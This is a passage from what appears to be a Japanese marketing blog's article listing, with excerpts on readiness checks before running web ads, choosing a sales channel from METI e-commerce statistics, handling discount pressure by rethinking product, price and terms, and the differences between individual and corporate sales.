のローカル検索結果のランキングを改善する」／公式ページ・2026年8月2日取得）。距離が要素に入っている以上、顧客が物理的に来店する事業でなければ効果は限定的です。手法の向き不向きは、事業の形で決まります。 ### [Web広告を出す前に整える4つの受け皿｜出稿可否を数値で判定する](https://codequest.work/future-marketer-role/) 「広告を出せば問い合わせが増えるはずだ」と考えて出稿し、増えたのがアクセス数だけだった。この結末になる理由は、広告の運用が下手だからとは限りません。多くの場合、広告を出す前の段階で「増えたかどうかを判定する材料」が手元に無いことが原因です。 判定材料が無いまま出すと、成果が出ても出なくても次の一手が決まりません。予算を足すべきなのか、LPを直すべきなのか、そもそも広告に向いていない商材なのか。どれも切り分けられないまま、費用だけが積み上がっていきます。 この記事では、出稿する前に確認しておく4つの受け皿と、それを自分のGoogleアナリティクス・自分のLP・自分のSearch Console・自分の粗利だけで判定する手順を扱います。他人のデータも業界平均も使いません。 Web広告を出してよい状態とは、①コンバージョンが実際に計測されている ②LPに次の行動が置かれている ③広告を出していない期間のデータが手元にある ④1件あたりいくらまで払えるかが決まっている、の4つが揃った状態です。1つでも欠けたまま出稿すると、その費用は「効いたかどうかを判定できない支出」になります。 扱うのは「まだ出していない、出していいのか分からない」段階です。すでに出していて予算を広告と検索のどちらに寄せるかを迷っているなら有料広告とSEO・AEO・LLMOの比較を、そもそも社内のどの機能が欠けているのかを見たいなら経営・営業とマーケティングの役割分担を先に読んでください。ここでは配分も組織論も扱いません。 「広告を出してよい状態」とは何か｜4つの受け皿 ここでいう受け皿とは、広告が連れてきた人を成果として受け止める側の仕組みのことです。広告は人を運んでくるところまでしか担当せず、受け止める側はすべて広告アカウントの外にあります。ここが空いていると、費用だけが動いて何も残りません。 受け皿何を確かめるか判定に使う画面欠けたまま出すとどうなるか①計測問い合わせが数として残るかアナリティクスのデバッグ画面成果が出たかどうかを後から言えない②導線次の行動が1つに定まっているかLPの画面とページのソース訪問だけ増えて行き止まりになる③基準値広告なしの28日分があるかアナリティクスと検索パフォーマンス増えた分が広告のぶんか分からない④上限1件にいくらまで払えるか手元の粗利と受注率やめ時も足し時も決められない 受け皿①｜コンバージョンが実際に計測されているか ここで問うているのは「計測を設定したか」ではなく「実際に発火しているか」です。タグを貼った時点で確認を終えてしまい、実際には送信完了時にURLが変わらない作りだったために、完了ページの表示を成果として数える設定が1件も発火していなかった、という状態は珍しくありません。 これは記事の主張ではなく、広告側の前提条件として公式に書かれていることでもあります。Google 広告ヘルプの目標コンバージョン単価制の入札について（英語版）には、次の一文があります（2026年8月2日取得）。 Before you can set up a Target CPA bid strategy, you'll need to set up conversion tracking to manage your conversion. Google 広告ヘルプ「About Target CPA bidding」 「目標コンバージョン単価制の入札を設定する前に、コンバージョン トラッキングを設定しておく必要がある」という意味です。自動入札は成果の記録を燃料にして動くので、記録が無ければ運転そのものが成立しません。 もうひとつ、アナリティクス側で記録されていれば自動的に広告側へ渡るわけではない点にも注意が必要です。Google 広告ヘルプのコンバージョン測定について（英語版）には、アナリティクスから取り込めるのは「キーイベントとしてマークされたイベントのみ」と明記されています（2026年8月2日取得）。イベントが飛んでいることと、それが成果として扱われることは別の段階です。 受け皿②｜LPに「次の行動」が1つ置かれているか 広告のクリック先に、その人が取るべき行動が1つに定まっているかを見ます。問い合わせフォーム、電話番号、購入ボタン。どれでも構いませんが、ページを開いた人が迷わず1つを選べる状態になっているかが基準です。「資料請求」「無料相談」「LINE登録」「メルマガ」が並列に並んでいるページは、行動が定まっていない側に入ります。 これも好みの話ではありません。Google 広告ポリシー ヘルプのリンク先の要件（英語版）には、リンク先が「機能し、有用で、たどりやすい」ものであることを求める旨が書かれています（2026年8月2日取得）。同じページには不承認になる類型として、リンク先がGoogleのAdsBotクローラーからクロールできない「Destination not crawlable」、独自の内容が足りない「Insufficient original content」などが列挙されています。 つまり受け皿②は、コンバージョンの観点だけでなく、広告の審査を通るかどうかにも直結しています。ページを開いても行動が定まらない、あるいはクローラーから中身が見えない状態は、出稿前に潰しておく対象です。 受け皿③｜広告を出していない期間のデータが手元にあるか 広告の効果は「出した後の数字」だけでは測れません。出す前の数字と比べて初めて差が出ます。比較対象を持たずに出稿すると、増えた分が広告のぶんなのか、季節要因なのか、たまたま記事が読まれた日があっただけなのかを区別できなくなります。 必要なのは、広告を1円も出していない連続した28日分です。Search Console ヘルプの検索パフォーマンス レポートの概要（英語版）には、レポートの初期表示が「直近3か月」であると書かれています（2026年8月2日取得）。したがって、今日から遡って28日分を取り出す作業は、追加の設定なしに誰でもできます。 28日という長さに公式な根拠はありません。曜日の影響を1周させるために4週間ぶんを取る、という実務上の区切りです。土日にアクセスが落ちる業種で7日だけ取ると、比較のたびに曜日のズレが混ざります。 受け皿④｜1件あたりいくらまで払えるかが決まっているか 広告費の上限は、月の予算ではなく「成果1件あたりの上限」で決めます。月20万円という決め方だと、10件取れても1件も取れても同じ20万円で、判断のしようがないからです。 Google 広告における「CPA」は、この考え方をそのまま名前にしたものです。前掲の目標コンバージョン単価制の解説には「When you select the Target CPA (cost-per-action) bid strategy, you set your desired average cost per conversion.（目標コンバージョン単価制を選ぶとき、コンバージョン1件あたりに支払いたい平均額を自分で設定する）」とあります。いくらまで払うかを決めるのは広告主側であり、システムが教えてくれるものではありません。 【判定】4つの受け皿を実測して、出稿の可否を出す ここからが本題です。4つとも、自分のアカウントと自分のページだけで、その日のうちに判定できます。所要時間はおおむね30分から1時間です。 手順1｜DebugViewを開いて、自分でフォームを1回テスト送信する アナリティクス ヘルプのDebugViewでイベントを確認する（英語版）には、DebugViewが「収集したイベントとユーザー プロパティをリアルタイムで表示し、タグの設置時に問題を切り分けられる」機能であると書かれています（2026年8月2日取得）。手順は次のとおりです。 自分の端末だけでデバッグモードを有効にする。公式が案内している方法は、tagassistant.google.com のGoogle タグ アシスタント、またはタグ マネージャーのプレビューモードを使うやり方です。 アナリティクスの管理画面を開き、「データの表示」の下にあるDebugViewを開く。 その状態で、自分のサイトの問い合わせフォームを実際に1回送信する。テスト送信だと分かる氏名と本文を入れておきます。 DebugViewの中央の列を見る。公式の説明では、この列は直近60秒に記録されたイベントを表示します。送信に対応するイベントが1件現れるかを確認します。 そのイベント名が、管理画面でキーイベントとしてマークされているかを確認する。マークされていないと広告側へ取り込めません。 1点だけ、NGと判定してはいけないケースがあります。同じ公式ページには「Events are not visible in debug mode if you have implemented privacy controls on the client-side, or if you've implemented consent mode and users have not given consent for Analytics cookies.（クライアント側でプライバシー制御を入れている場合、または同意モードを導入していてアナリティクスのCookieに同意していない場合、デバッグモードでもイベントは表示されない）」と明記されています。同意バナーを閉じずにテストするとイベントは出ません。これは計測の不備ではなく判定不能なので、同意した状態でやり直します。 手順2｜LPを開いて「次の行動」が1つに定まっているかを見る 広告のリンク先にするページを、スマートフォンの幅で開きます。見るのは次の2点です。 スクロールせずに見える範囲に、成果につながる行動が1つ示されているか。フォームへのボタン、電話番号、購入ボタンのいずれかです。 ブラウザで「ページのソースを表示」を開き、その導線がHTMLの中に文字として入っているか。フォームなら form の記述、電話なら tel: で始まるリンク、ボタンならそのボタンの文言で検索します。 2番目を見る理由は、ページを開いたときには見えていても、JavaScriptで後から描画されている導線は、クローラーや計測ツールから見えないことがあるためです。見えなければ即NGというわけではありませんが、「ソースを見ただけでは受け皿の有無を確認できない状態」であることは把握しておく必要があります。この確認方法をLPの検索露出まで含めて詳しくたどるならLPが検索に出ない原因の特定手順が対応しています。 LPのタイトル・見出し・構造化データの状態はDirebase（ディレベース）でまとめて確認できます 手順3｜広告を1円も出していない連続28日を書き出す アナリティクスの「レポート」から集客のトラフィック獲得を開き、期間を「広告を出していない直近28日」に設定します。画面名は改定で変わることがあるので、チャネル別のセッション数が並ぶ表であれば構いません。書き出すのは次の3つです。 28日間の合計セッション数 28日間のキーイベント（問い合わせ）件数 チャネル別の内訳（自然検索・直接・参照・SNSの4つで足ります） あわせてSearch Consoleの検索パフォーマンスで同じ28日のクリック数と表示回数も控えておきます。ここまでを紙かスプレッドシート1枚に書けたら合格です。頭の中にある感覚は基準値になりません。出稿後にこの1枚と突き合わせるためだけの作業なので、きれいにまとめる必要はありません。 手順4｜許容できる1件あたりの単価を1回だけ計算する 問い合わせ1件にいくらまで払えるかを、次の式で1回だけ出します。会計上の正式な指標ではなく、出稿の可否を決めるための実務上の計算です。 ### [販路の切り替え先の決め方｜EC・展示会・検索を数値で選ぶ](https://codequest.work/marketing-sales-channel-success/) 販路の切り替え先は、勘ではなく数字で決められます。見るのは3つだけです。自社の商材カテゴリのEC化率、顧客が買うまでの検討期間、顧客側で決裁に関わる人数。この3つが、ECと対面（展示会）と検索のどれに移すかを決めます。 「販路を変えたら売上が伸びた」という話は、切り替えた後から振り返れば必ずうまくいったように見えます。けれど実際に知りたいのはその手前です。いま使っている販路から動くとして、どこへ動かすのか。この記事は、移す先を決めるための判断材料と、切り替えたあとに「その販路が本当に稼働したか」を28日で確かめる手順をまとめます。 先に断っておきます。この記事は特定企業の実名事例を扱いません。誰の・いつの・何の商材かを特定できない事例は、読者にも書き手にも検証できないからです。代わりに使うのは、公的機関と公式ドキュメントが公表しているデータと、このサイト自身の実測値だけです。 結論｜移す先は「EC化率」「検討期間」「決裁者の人数」で決まる 販路の切り替え先は、次の3つの数字で決まります。 自社の商材カテゴリのEC化率（経済産業省の市場調査に分野別で載っている） 最初の接触から受注までの検討期間（自社の直近の受注から出す） 顧客側で決裁に関わった人数（同じく自社の受注から出す） EC化率が高い分野ならEC、検討期間が長いなら検索とオウンドメディア、決裁者が複数いるなら対面・展示会。複数が同時に当てはまることもありますが、そのときも動かすのは1つだけです。同時に2つ移すと、あとで「どちらが効いたのか」を切り分けられなくなります。 この判定には前提が1つあります。移す先を決める前に、いまどの販路にどれだけ時間を投下していて、どこから受注が来ているかが分かっていることです。その棚卸しの手順はSNS運用とマーケティングの違いの判定パートにまとめています。棚卸しをしていない状態で移す先だけ決めても、切り替え前の数字が手元に残らないため、後から効果を判定できません。 そもそも直すべきなのが商品側なのか販路側なのかで迷っている場合は、経営・営業との役割分担と販路設計の判定を先に通してください。この記事は「販路を動かす」と決めたあとの話です。 判断材料①｜自社の商材は、ECがすでに主戦場になっているか 1つ目の判断材料は、自社の商材カテゴリでECがどれだけ使われているかです。経済産業省が毎年公表している「電子商取引に関する市場調査」に、物販系分野の分野別EC化率が載っています。2025年8月26日公表の令和6年度版が最新で、1998年度から27回続いている調査です。 分野によってEC化率は13.5倍ひらいている 報告書の図表4-17から、2024年の分野別EC化率を書き出すと次のようになります。 分野2024年のEC化率読み方書籍、映像・音楽ソフト56.45%ECが主戦場生活家電、AV機器、PC・周辺機器等43.03%ECが主戦場生活雑貨、家具、インテリア32.58%ECへの移行が進行中衣類・服装雑貨等23.38%ECへの移行が進行中化粧品、医薬品8.82%平均以下食品、飲料、酒類4.52%店舗・対面が主戦場自動車、自動二輪車、パーツ等4.16%店舗・対面が主戦場物販系の合計9.78%基準線 （出典：経済産業省「令和6年度 電子商取引に関する市場調査」報告書 図表4-17／報道発表ページ・2026年8月2日取得） ここから断言できるのは1つです。最も高い書籍、映像・音楽ソフト（56.45%）と、最も低い自動車、自動二輪車、パーツ等（4.16%）では13.5倍ひらいています。市場規模が最大の食品、飲料、酒類（4.52%）と比べても12.5倍です。「ECにすれば売れる」という言い方は、この差を見ないまま成立しません。物販系の合計である9.78%が基準線で、自社の分野がこれを上回っていれば「その商材はすでにECで買われている」、下回っていれば「まだ店舗と対面で買われている」と読みます。 平均を下回る分野でECを選ぶときに、根拠がどこへ移るか 平均以下の分野でECを選ぶ判断はあり得ます。ただしその瞬間、判断の根拠は「市場がそうなっているから」ではなく「自社の顧客がそうしているから」に移ります。根拠が公開データから自社データへ移るということは、切り替えたあとの検証が必須になるということです。後述の28日判定を必ずセットで回してください。 販路の比較にはコストも入ります。モールやアプリストアのようなプラットフォームを販路にすると、売上に対して手数料が乗るためです。個人開発のアプリでApp Storeの手数料区分を実際に申請して下げた記録はApp Storeの手数料15%の仕組みと申請手順にあります。EC化率が高い分野でも、手数料を引いたあとで成立するかは別途確認が必要です。 判断材料②｜法人向けなら、業種のBtoB-EC化率を見る 法人向けの商材なら、見る数字はBtoCではありません。同じ調査にBtoB-ECの数字があります。2024年のBtoB-EC化率は全体で43.1%（前年から3.1ポイント増）。BtoCの物販系9.78%の4倍以上です。 業種によって24.2%から81.3%までひらく 報告書に載っている主要業種の2024年のBtoB-EC化率を並べると、次のようになります。 業種2024年のBtoB-EC化率読み方製造：食品81.3%受発注はほぼ電子化済み製造：鉄・非鉄金属50.6%電子化が主流製造：産業関連機器・精密機器47.8%電子化が主流卸売40.3%電子化が進行中情報通信24.2%対面と商談の比重が残るBtoB全体43.1%基準線 （出典：経済産業省「令和6年度 電子商取引に関する市場調査」報告書 業種別BtoB-EC市場規模／報道発表ページ・2026年8月2日取得） 断言できるのは、「法人相手だからデジタルは効かない」は統計と逆だということです。ただし読み方に注意が要ります。ここでいうECには、Webサイトからの注文だけでなく受発注の電子化が含まれます。同じ報告書は、卸売のEC化率が上がった要因としてEDIの標準化が進んだことを挙げています。つまりBtoBのEC化率が高いことは、「新規開拓もオンラインで完結する」を意味しません。電子化されているのは主に既存取引の受発注のほうです。 展示会は「取引の場」ではなく「初回接触の場」 この読み方をすると、法人向けで販路を足すときの位置づけが決まります。展示会や対面は「そこで受注する場」ではなく、まだ取引のない相手と最初に会う場として置きます。既存取引の受発注は電子化が進んでいて、新規の初回接触だけが手つかずで残っている、というのが統計から読める構図だからです。 法人がどういう順序で決めるのか、誰が起案して誰が決裁するのかは営業側の領域なので、営業から見たマーケティングに譲ります。この記事で判定に使うのは「顧客側で決裁に関わった人数」という1つの数字だけです。 判断材料③｜検討期間が長いほど、検索とオウンドメディアの価値が上がる 3つ目は検討期間です。顧客が「知ってから買うまで」に日数がかかるほど、その間に何度も参照される場所、つまり検索とオウンドメディアの価値が上がります。逆に検討が数分で終わる商材では、検索に置いた記事は読まれる前に購買が終わります。 検索を販路に選ぶと、立ち上がりに時間がかかる 検索は、切り替えてすぐ効く販路ではありません。Googleは検索セントラルのSEOスターターガイドで、サイトへの変更が検索結果に反映されるまでの時間には幅があり、数時間で反映されるものもあれば数か月かかるものもあると説明しています。そのうえで、作業が検索結果に良い影響を与えたかを評価するには数週間待つのが一般的だとしています（出典：Google 検索セントラル「SEO スターター ガイド」英語版／公式ドキュメント・2026年8月2日取得）。 つまり検索へ移す判断は、数週間は数字が動かないことを織り込んだうえで下すものです。今月の売上を作る目的で検索へ移すのは、判断材料の使い方として間違っています。今月を埋める必要があるなら、動かすのは検索以外の販路です。 「商品を変えずに移す」3つの型を、判断材料に置き直す 販路の切り替えでよく語られる型は3つあります。共通しているのは、どれも商品そのものは変えず、顧客と出会う場所だけを変えていることです。この3つが、上の判断材料のどれを見て決める話なのかを対応させると、次のようになります。 切り替えの型判断の入力になる数字判定の向きSNS広告から検索・オウンドメディアへ検討期間の中央値長いほど検索が有利SNS経由の法人開拓から展示会・対面へ顧客側の決裁者の人数多いほど対面が有利実店舗中心からECと検索広告へ分野別のEC化率9.78%以上ならEC側が有利 この3つは成功した実例ではなく、切り替えの型です。型そのものに再現性はありません。自社の3つの数字を入れて初めて、その型が自分に当てはまるかが決まります。「同じ切り替えをした会社が伸びた」は、自社が伸びる根拠になりません。 【判定】自社の販路の切り替え先を15分で決める ここまでの3つを、自分の数字で埋めます。必要なのは直近の受注5件分の記録だけです。 手順 自社の主力商材が、上の表の分野のどれに当たるかを決め、そのEC化率を書き写す。どれにも当てはまらないときは「その他」に逃がさず、いちばん近い分野を選ぶ 直近の受注5件について「最初の接触日」と「受注日」を書き出し、その差の日数の中央値を出す 同じ5件について「顧客側で決裁に関わった人数」を書き出し、その最大値を取る 平均ではなく中央値を使うのは、極端に長い1件に引きずられないためです。受注が5件に満たない場合は、問い合わせから見積提出までの日数で代用し、受注が5件たまった時点で測り直します。 合否ライン 当てはまる条件移す先次に確認することEC化率が9.78%以上EC（自社EC／モール）販路ごとの手数料検討期間の中央値が30日以上検索＋オウンドメディア反映まで数週間かかる前提顧客側の決裁者が2人以上対面・展示会初回接触の場として設計する2つ以上あてはまるいちばん時間を使っている販路の置き換えを1つだけ28日後に検証する1つもあてはまらない販路ではなく商品側を疑う商品と販路のどちらが先か 30日という線に公的な根拠はありません。Googleが「効果の評価には数週間待つのが一般的」と書いていることに合わせ、検索を販路にする判断が割に合う最小の検討期間として、この記事が置いた目安です。自社の実績と合わないと感じたら、自社の中央値の実測で置き換えてください。数字の出どころを自分で言えることのほうが重要です。 判定が外れたときの、次の1手 2つ以上あてはまったとき。同時に2つの販路へ移さないでください。同時に動かすと、28日後に数字が変わったときどちらが効いたのか分かりません。移すのは1つだけで、順番は「いま最も時間を投下しているのに受注が来ていない販路」の置き換えからです。 1つもあてはまらなかったとき。販路側に動かせる余地が小さいということなので、この記事の範囲を超えます。商品力と販路のどちらを先に直すかの判定に戻ってください。 判定が「検索＋オウンドメディア」または「ECと検索広告」になったとき。広告を併用する前に、受け皿が整っているかを先に確認します。コンバージョンが実際に計測できているか、広告を出していない期間のデータがあるかなど、確認の手順はWeb広告を出す前に整える4つの受け皿にまとめてあります。 ECへ移す判定になった場合、立ち上げ側にも決まりごとがあります。たとえば決済ブランドのロゴをサイトに載せるには契約上のルールがあり、未契約ブランドのロゴ掲載は規約違反になります。詳細は決済ブランドロゴのECサイト掲載ルールを確認してください。 ### [値引きしないと通らない時の判定｜商品と価格の決め直し方](https://codequest.work/marketing-from-management-perspective/) 値引きしないと通らない状態の原因は、販路の数ではありません。自分が売っているものが「中身」「価格」「提供条件」のどれなのかを決めていないことにあります。直近3か月に出した見積書から値引きなし成約率と失注理由を数えれば、3つのうちどれを決め直すべきかが15分で出ます。 集客はできている。問い合わせも来る。それなのに相見積もりのたびに金額を削られ、最後は値引きで決着する。この状態で販路を増やしても、増えるのは「値引きを前提に話が始まる案件」だけです。動かすべきなのは経路ではなく、経路に載せている商品そのものの決め方になります。 この記事は、値引き圧力が出たあとに何を決め直すかだけを扱います。判定に使うのは読者自身の見積書で、外部データは「その判断が世の中の動きとずれていないか」を点検するためだけに使います。特定企業の成功事例は扱いません。誰の・いつの・どの商材かを特定できない事例は、読者にも書き手にも検証できないからです。 結論｜値引きが常態化しているのは、販路ではなく「何を売るか」が決まっていないから 値引きは、交渉の場で起きているように見えて、実際には見積書を出す前に決着しています。提示している中身と価格と条件の組み合わせが、相手にとって「金額でしか比べようがないもの」になっていれば、比較の軸は金額だけになります。値引きを断る力は、交渉術ではなく、金額以外の比較軸を先に用意できているかで決まります。 見るのは「値引きなし成約率」と「失注理由」の2つだけ この記事の判定で使う数字は2つです。 値引きなし成約率＝提示額のまま通った件数 ÷ 成約件数 失注・見送りの理由の最頻値＝「高い」「合わない」「知らなかった」のどれが一番多いか 売上・粗利・受注件数は、この判定には使いません。どれも「決め直した対象」以外の要因で動くため、何が効いたのかを切り分けられなくなるからです。値引きなし成約率と失注理由は、価格と商品仕様を変えた瞬間に反応し、販路を変えなくても動きます。だから因果を追えます。 症状が「そもそも声がかからない」なら、この記事ではない 先に振り分けます。次の3つのうち、いま起きているのがどれかで読む先が変わります。 いま起きていること原因がある場所読む先見積は出せているが、値引きしないと通らない商品側（中身・価格・条件）この記事そもそも見積依頼が来ない、比較にも入っていない販路側販路の切り替え先の決め方問い合わせは来るが、返答や商談の進め方で落ちる営業側個人営業と法人営業の違い 2行目に当てはまるなら、この記事の判定は回りません。見積書という入力そのものが手元に貯まらないからです。その場合は販路の切り替え先の決め方へ進んでください。3行目なら、値引き圧力が出る前の段階、つまり相手の購買がどう決まるかを先に押さえたほうが早くなります。 そもそも直すべきなのが商品側なのか販路側なのかで迷っているなら、本当のマーケティングとは？経営・営業との役割分担と販路設計の棚卸し手順を先に通してください。この記事は、そこで「商品が先」と出たあとの実務にあたります。 価格を決めることは、マーケティングの外側の話ではない 「商品と価格は経営が決めるもので、マーケティングは販路を最適化する仕事だ」という整理は、実務の分担としてはよく使われます。ただしこれは定義ではありません。公的な定義はどちらも、価値をつくる側を内側に含んでいます。ここを取り違えたまま「価格はマーケティングの外」と切ってしまうと、値引きが常態化した状態を販路の施策で解こうとして空振りします。 日本マーケティング協会の2024年定義は「価値の創造」を含んでいる 公益社団法人日本マーケティング協会は2024年1月25日、34年ぶりに定義を刷新しました。本文はこうです。 （マーケティングとは）顧客や社会と共に価値を創造し、その価値を広く浸透させることによって、ステークホルダーとの関係性を醸成し、より豊かで持続可能な社会を実現するための構想でありプロセスである。 同じ発表の注3に「構想にはイニシアティブがイメージされており、戦略・仕組み・活動を含んでいる」とあります。価値を創造すること自体が定義の内側にあり、届ける経路の設計だけに限定されていません。（出典：公益社団法人日本マーケティング協会「34年振りにマーケティングの定義を刷新」2024年1月25日／協会のお知らせページ・2026年8月2日取得） AMAの定義は creating が先頭にある アメリカ・マーケティング協会（AMA）の定義も同じ構造です。 Marketing is the activity, set of institutions, and processes for creating, communicating, delivering, and exchanging offerings that have value for customers, clients, partners, and society at large. 4つの動詞のうち先頭が creating、つまり「つくること」です。delivering（届けること）は3番目に出てきます。提供物そのものをつくることが定義の一番手に置かれており、価格を含む提供条件の設計を外側に追い出す書き方はされていません。（出典：American Marketing Association「Definitions of Marketing」／AMAの定義ページ・2026年8月2日取得） それでも実務で「マーケティング＝販路」に見える理由 定義が広いのに、現場では「マーケティングは販路の話」に収まりがちです。理由は単純で、小規模な事業では商品と価格を決める権限が経営側に集約されており、マーケティング担当が触れる余地が残っているのが経路だけだからです。定義が狭いのではなく、権限の分担の結果として狭く見えているだけです。この順番を取り違えると、価格の話が誰の担当でもなくなり、そのまま放置されます。 定義そのものと、経営・マーケティング・営業の分担の全体像は経営・営業との役割分担と販路設計にまとめています。この記事はここから先、経営側が持っている「商品と価格」だけを扱います。 決め直せる対象は「中身」「価格」「提供条件」の3つしかない 「商品力を上げる」という言い方は、実務では手が動きません。上げる先が特定できないからです。実際に決め直せるのは次の3つで、しかも同時に2つ以上動かすと、あとでどれが効いたのかを切り分けられなくなります。 決め直す対象直すサイン直さなくてよいサイン中身（どこまでを提供するか）失注理由が「欲しいものが入っていない」に寄る範囲は足りていて、争点が金額だけ価格（いくらで出すか）値引き前提でしか通らず、値引き幅も毎回違う提示額のまま通る案件が半分以上ある提供条件（納期・保証・支払・作業範囲）成約はするが、条件の追加を毎回飲んでいる条件は契約どおりで、追加要求が出ない 中身｜どこまでを提供するか 中身を決め直すとは、機能を足すことではありません。提供範囲の境界線を引き直すことです。同じ作業をしていても、範囲が書かれていない見積書は「一式」に見え、一式は金額でしか比較されません。逆に、含むものと含まないものが行で分かれていれば、相手は削る場所を選ぶことになり、交渉の対象が総額から項目へ移ります。 実際に手を動かすのは次の3つです。 見積書の「一式」を、含む作業と含まない作業の行に割る 直近で無償対応した作業を洗い出し、行として金額を付ける その行を「標準に含める」か「オプションにする」かを決め、以降すべての見積で同じ扱いにする 3つ目が要点です。案件ごとに扱いを変えると、値引き幅が毎回違う状態が固定されます。 価格｜いくらで出すか 価格を決め直すとは、上げることでも下げることでもなく、「この額になる理由」を先に決めることです。理由が原価なのか、相場なのか、相手が得る効果なのかで、値引きを求められたときの答えが変わります。原価基準なら「この額を割ると赤字になる」と言えます。相場基準なら他社の提示額を持ち出された時点で反論材料がありません。 原価基準に寄せるなら、まず自社の原価に何が入っているかを並べます。仕入や外注費だけでなく、販路に払う手数料も原価です。モールやプラットフォームを経由して売る商材では、売上に対する率で手数料が乗るため、提示価格の下限がここで決まります。チャネル別の費用の並べ方はECサイト構築の費用比較に、月商に対する比率で整理してあります。 手数料が下がったときにどうするかも、あらかじめ決めておく論点です。下がった分をそのまま値下げに回すのか、価格を据え置いて利益に残すのかで、その後の値引き交渉の余地が変わります。プラットフォーム手数料が実際に半分になった条件と申請の流れはApple Small Business Programとは｜申請方法と手数料15%の仕組みに記録があります。 提供条件｜納期・保証・支払・作業範囲 値引きは金額だけで起きるとは限りません。金額は通ったのに、納期の前倒し、支払サイトの延長、保証期間の延長、追加作業の無償対応を飲んでいれば、実質の単価は下がっています。提供条件は「見えない値引き」が溜まる場所です。 ここを決め直すときは、条件ごとに「標準」と「有償で変更できる範囲」を分けます。納期を2週間早めるなら追加料金がいくらか、支払サイトを60日にするなら金額をいくら上げるか。金額表に載っていない条件は、交渉のたびに無償で削られます。 判定｜直近3か月の見積書から、決め直す対象を1つに決める 用意するものは1つだけです。直近3か月に出した見積書と、その結果（成約額・失注・保留）。件数が10件に届かない場合は、期間を6か月に伸ばして10件を確保してください。所要時間は10件で15分程度です。 Step1｜提示額と成約額を並べ、値引きなし成約率を出す 成約した案件だけを取り出し、提示額と成約額を並べます。2つが同額なら「値引きなし」、成約額のほうが低ければ「値引きあり」です。 値引きなし成約率＝値引きなしで成約した件数 ÷ 成約件数 × 100 平均値引き率＝（提示額の合計 − 成約額の合計）÷ 提示額の合計 × 100 金額が変わっていなくても、納期の前倒しや無償の追加作業を飲んだ案件は「値引きあり」に数えます。前述のとおり、実質の単価が下がっているためです。ここを甘く数えると、あとの判定が「価格は問題ない」に倒れて、原因が提供条件側にあることを見落とします。 基準線は値引きなし成約率50%に置きます。これは業界統計ではなく、判定を二択にするためにこの記事が引いた線です。自社に過去1年の実績が残っているなら、その平均値に置き換えてください。判定の目的は世間との比較ではなく、自社の過去との比較だからです。 Step2｜失注と見送りの理由を3つに振り分ける 次に、成約しなかった案件を3つに振ります。振り分けの軸は相手の言葉ではなく、決め手になった事実です。 区分該当する事実迷ったときの判定高い金額だけが争点で、他社の安い提示に決まった10%下げれば取れたならここ合わない範囲・納期・保証・体制が理由で見送られた10%下げても取れないならここ知らなかったそもそも比較検討に呼ばれていない見積依頼自体が来ていないならここ 「予算が合わなくて」と言われた案件でも、決まった他社のほうが高かったのなら、それは「合わない」です。相手は断る理由として金額を挙げるのが最も角が立たないため、言葉をそのまま集計すると「高い」に寄ります。他社に決まった案件は、可能な範囲でその他社の提示額を確認してから振り分けてください。確認できない案件は集計から外し、母数を減らします。推測で埋めると、判定が価格側に倒れます。 Step3｜判定表で決め直す対象を1つに決める Step1とStep2の結果を、次の表に当てます。 ### [個人営業と法人営業の違い｜購買の決まり方で変わる伝え方](https://codequest.work/marketing-from-sales-experience/) 個人営業と法人営業の違いとは、最終的に決める人が目の前にいるかどうかです。個人向けの取引は、商品を使う本人が契約の相手なので、その場で条件を説明しきれば決まります。法人向けの取引は、説明した相手と最終的に決める人が別のことがあり、そのあいだに相手の支払い能力の確認（与信）と社内の手続きが挟まります。同じ商品を売っていても、伝える内容と順番を変えなければ受注に変わりません。 この違いは「個人は感情で決まり、法人は論理で決まる」という説明で語られることが多いのですが、その分け方では次にやることが出てきません。感情か論理かは相手の内心の話で、外から確かめられないからです。確かめられるのは、何人に説明したか、決めた人に自分が会えたかという記録のほうです。 この記事では、厚生労働省が運営する職業情報提供サイト（job tag）に掲載されている営業職の公的な定義を突き合わせて、個人型と法人型で「職務そのもの」がどこで分かれるのかを確認します。そのうえで、直近10件の受注・失注記録から自社の商談がどちら型かを判定し、次に用意すべき材料を決めるところまで進みます。判定に必要なのは、すでに手元にある受注記録だけです。 結論｜違いは「決める人が目の前にいるか」 両者を分けているのは、扱う金額でも商談の長さでもありません。契約の相手が「商品を使う本人」なのか「組織」なのかです。ここが変わると、営業の職務に含まれる作業そのものが入れ替わります。公的な職業定義を並べると、その入れ替わりがはっきり出てきます。 観点個人型の取引法人型の取引契約の相手商品を使う本人組織（担当者は窓口）定義に出てくる手続き重要事項の説明・契約書の作成信用状態の調査・契約書の締結売り手の体制営業が単独で完結しやすい技術者や開発部門と組んで動く引渡し後の職務メンテナンスとアフターサービス設置・操作説明会・保守説明の中心費用・法令・税などの条件導入後に業務がどう変わるか この表の各行は、次章以降で公的な職業定義から1つずつ確認します。先に断っておくと、これは「法人型のほうが高度だ」という話ではありません。個人型には個人型の職務があり、その中身は感情の読み取りではなく、条件情報を漏れなく説明しきることです。 なお、経営・マーケティング・営業がそれぞれ何を担当するのかという役割分担そのものは本記事の範囲外です。そちらは経営・マーケティング・営業の役割分担と販路設計で扱っているので、まず「自社に欠けている機能はどれか」を知りたい場合はそちらから読んでください。本記事は、その判定で「営業が欠けている」と出た人が次に読む1本という位置づけです。 公的な職業定義に「個人営業」「法人営業」という職業は無い 最初に確かめておくべきことがあります。「個人営業」「法人営業」という2分法は、公的な職業分類ではありません。厚生労働省の職業情報提供サイト（job tag）は、営業職を扱う商材ごとに分けて掲載しています。下表の11職業について職業分類の欄を確認したところ、「不動産営業員」「金融・保険営業員」「機械器具営業員」「飲食料品営業員」「広告営業員」「印刷営業員」「通信・情報システム営業員」といった商材基準の名前ばかりで、個人営業員・法人営業員にあたる分類名は1つも出てきませんでした（2026年8月2日確認）。 ただし、それぞれの職業説明を読むと、取引の相手が個人なのか組織なのかは定義文にはっきり書かれています。商材別に並んでいるものを「誰が契約の相手か」で束ね直すと、次のように2つに割れます。以下の分類は公的な区分ではなく、定義文の記述をもとにした本記事の整理です。 job tag の職業定義文が示す取引の相手本記事の分類住宅・不動産営業住宅・土地を買う「お客」個人型保険営業（生命保険、損害保険）定義文に「個人を対象とした保険営業について記載する」と明記個人型自動車営業来店客とその自宅を訪問する顧客個人型商社営業国や地域、会社の間に立つ仲介法人型OA機器営業定義文に「顧客は法人が大半を占めている」と明記法人型コンサルティング営業（IT）経営課題の調査から入る顧客組織法人型食品営業（食品メーカー）定義文に「法人を対象としたルート営業を中心に述べる」と明記法人型広告営業企業などの広告主法人型印刷営業得意先（企業・団体が中心。個人も対象）法人型清涼飲料ルートセールス販売店と自動販売機の設置先法人型代理店営業（保険会社）保険を販売する代理店法人型 出典はいずれも厚生労働省 職業情報提供サイト（job 